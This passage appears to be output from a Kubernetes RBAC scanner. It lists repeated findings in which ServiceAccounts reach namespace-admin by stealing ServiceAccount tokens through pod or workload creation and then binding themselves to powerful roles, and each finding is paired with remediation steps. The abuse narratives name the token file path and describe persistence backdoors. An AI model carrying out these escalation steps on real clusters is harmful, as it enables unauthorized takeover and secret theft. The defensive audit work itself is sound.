    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-pod-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Namespace 7.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can reach namespace-admin in `cutres` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-workload-mutate → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate Resource: Namespace/cutres/cutres

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cutres/cutres-detour via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cutres/cutres-detour
2. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-workload-mutate yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-workload-mutate (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/cutres/cutres-detour. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cutres/cutres-detour
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:rbac-fixtures:sa-workload-mutate (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Namespace 7.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-workload-mutate → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/deepchain-tenant/deepchain-binder via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount deepchain-tenant/deepchain-binder
2. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-workload-mutate yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-workload-mutate (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/deepchain-tenant/deepchain-binder. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:rbac-fixtures:sa-workload-mutate (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Namespace 7.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-workload-mutate → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-workload-mutate yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-workload-mutate (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-workload-mutate (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Namespace 7.0
ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `cutres` in 2 hop(s)
Scope · Namespace Source ServiceAccount/vulnerable/privileged-reader → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: Namespace/cutres/cutres

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
2. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/vulnerable/privileged-reader yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/privileged-reader (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:vulnerable:privileged-reader (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Namespace 7.0
ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
Scope · Namespace Source ServiceAccount/vulnerable/privileged-reader → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
2. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

